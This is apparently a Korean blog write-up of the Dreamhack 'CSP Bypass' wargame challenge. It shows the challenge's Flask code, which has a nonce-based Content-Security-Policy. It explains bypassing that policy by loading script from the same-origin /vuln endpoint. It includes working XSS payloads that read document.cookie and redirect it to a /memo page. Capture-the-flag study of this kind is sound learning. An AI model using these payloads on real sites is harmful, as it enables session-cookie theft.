본문 바로가기

웹해킹

드림핵 CSP Bypass 롸업

http://host3.dreamhack.games:12324/vuln?param=%3Cscript%20src=%22/vuln?param=alert(document.cookie)%22%3E%3C/script%3E

 

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

flag 페이지에서 param을 입력해서 check_xss 함수로 보내고 vuln 페이지로 이동하게 된다.

xss를 이용해야 하는건 동일하지만

@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response

이렇게 CSP 코드가 추가되어 있다.

flag 페이지에서도 script태그 안에 nonce 속성이 있다.

공격자는 nonce 값을 알 수가 없기 때문에 허용된 self를 사용하기 위해서 vuln 페이지를 이용해야 한다.

vuln 페이지에서 vuln페이지로 접속할 수 있어야 하기 때문에

flag 페이지에서 <script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script>

이런 식으로 한번 더 vuln 페이지로 요청을 보낼 수 있게 공격 코드를 작성해야 한다.

'웹해킹' 카테고리의 다른 글

CSRF/CORS Bypass  (0) 2023.11.26
드림핵 CSP Bypass Advanced 롸업  (0) 2023.11.25
Content Security Policy & CSP Bypass  (0) 2023.11.24
드림핵 XSS Filtering Bypass Advanced 롸업  (0) 2023.11.21
드림핵 XSS Filtering Bypass 롸업  (0) 2023.11.21